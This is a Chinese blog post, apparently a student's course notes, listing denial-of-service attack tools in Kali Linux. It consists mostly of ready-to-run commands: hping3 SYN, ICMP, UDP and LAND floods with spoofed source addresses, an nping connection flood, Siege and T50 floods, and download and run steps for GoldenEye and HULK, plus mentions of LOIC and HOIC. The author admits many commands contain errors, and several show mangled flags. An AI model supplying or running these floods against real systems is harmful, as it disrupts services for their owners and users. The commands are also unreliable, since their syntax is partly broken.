DoS与DdoS攻防分析——其他拒绝服务攻击攻防总结

灰太狼 2023-03-13 13:06 53阅读 0赞

# 其他拒绝服务攻击攻防总结 #

哈哈哈虽然明儿考试但是！！！一天我不写博客真滴睡不香！ 而且DoS留下一个小尾巴心里不舒服，今儿感觉复习差不多，就抽点时间把这个课听完了，这里的代码很多错，没有改完，之后做实验再回来改，留个小坑

# Kali自带拒绝服务攻击工具 #

## Hping3 ##

几乎可以定制发送任何TCP/IP数据包，用于测试FW、端口扫描、性能测试

## Syn Flood 攻击 ##

-hping3 -c 1000 -d 120 -S -w 64 -p 80 - -flood - -rand-source  1.1.1.1
    			-hping3 -S -P -U -p 80 - -flood - -rand-source 1.1.1.1
    			-hping3 -SARFUP -p 80 - -flood - -rand-source 1.1.1.1 (TCP Flood)

## ICMP Flood 攻击 ##

-hping3 -q -n -a 1.1.1.1 - -icmp -d 56 - -flood 1.1.1.2

> 补充两个参数 --rand-source 用公网随机地址进行攻击  
> \-a 1.1.1.1 伪造成1.1.1.1进行攻击  
> 详细帮助文档：http://cnhotfire.blog.51cto.com/2042323/698362/

## UDP Flood 攻击 ##

-hping3 -a 1.1.1.1 - -udp -s 53 -d 100 -p 53 - -flood 1.1.1.2

## LAND攻击 ##

特殊种类的SYN Flood攻击  
源地址、目的地址都是受害者，受害者于自己完成三次握手

—hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1

> LAND攻者是伪造的源地址和要攻击目标地址是同一个地址，也就是说自己与自己建立连接。可用tcpdump –I eth0 –s 0 –vv查看

## TCP全链接DoS攻击 ##

nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1  
     //--rate=100000 一次建10000个连接，-C是一共建1000000000连接。

**查公网IP**

-nping - -echo-client "public" echo.nmap.org - -udp

## Siege ##

\-http/https压力测试工具，模拟多个用户并发访问请求 —siege

- siege -g http://1.1.1.1/a.php       //扫描网站banner信息
    		- siege -i -c 1000 http://1.1.1.1/a.php -A siegehttp  -vv

同时攻击多个url，使用-f调用字典文件 /etc/siege/urls.txt,也可以直接  
编辑urls.txt把要攻击的地址放进去直接使用`siege –i –c 1000 -vv`就可以攻击  
Siege攻击一般用作并发量、性能测试，多用户并发访问测试。开发上线一般都会经过这步。  
`siege -i -c 1000 http://1.1.1.1/a.php -A siegehttp` //10000用户并发， -A代表指纹信息，可随便填定。  
**一般用golden eye代替，后面有**

## T50网络压力测试 ##

*  t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80  
    t50 1.1.1.1 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22

## Nmap ##

\-grep dos /usr/share/nmap/scripts/script.db |cut -d “”" -f 2

# 其他拒绝服务攻击 #

## XOIC ##

攻击任意IP地址的指定端口  
git clone git://git.code.sf.net/p/xoic/code xoic-code  
https://xoicdoser.wordpress.com/  
三种模式：test、normal、DoS Attack  
支持协议：TCP/HTTP/UDP/ICMP

## DDOSIM ##

7层拒绝服务工具（模拟多个僵尸机）  
随机IP地址 一基于TCP连接的攻击 -应用层DDoS攻击  
正常的HTTP请求、非正常的HTTP请求式DDoS -SMTP DDoS  
随机端口的TCP连接洪水

## GoldenEye ##

http/https拒绝服务攻击工具  
安全研究为目的Python脚本  
随机攻击向量，keep-alive，避免缓存命中

-wget https://github.com/jseidl/GoldenEye/archive/master.zip
    			-unzip master.zip
    			-./goldeneye.py http://1.1.1.1 -w 50 
    			goldeneye.py http://1.1.1.1 -w 50 –m random    //-w 50 代表50个人 ，-s 500代表每个人500个，50*500打25000个链接。

## HULK - Http Unbearable Load King ##

Python脚本  
随机产生大量唯一的地址请求，避免缓存命中 -耗尽WEB服务器资源池  
https://packetstormsecurity.com/files/download/112856/hulk.zip

# 匿名者攻击工具 #

匿名者发布的一些DoS工具  
LOIC  
HOIC  
DDoSer  
他们招募志愿者发放以上工具  
以上DoS工具不隐藏真实IP地址  
PS.我啥时候能有个黑客团体呢 哈哈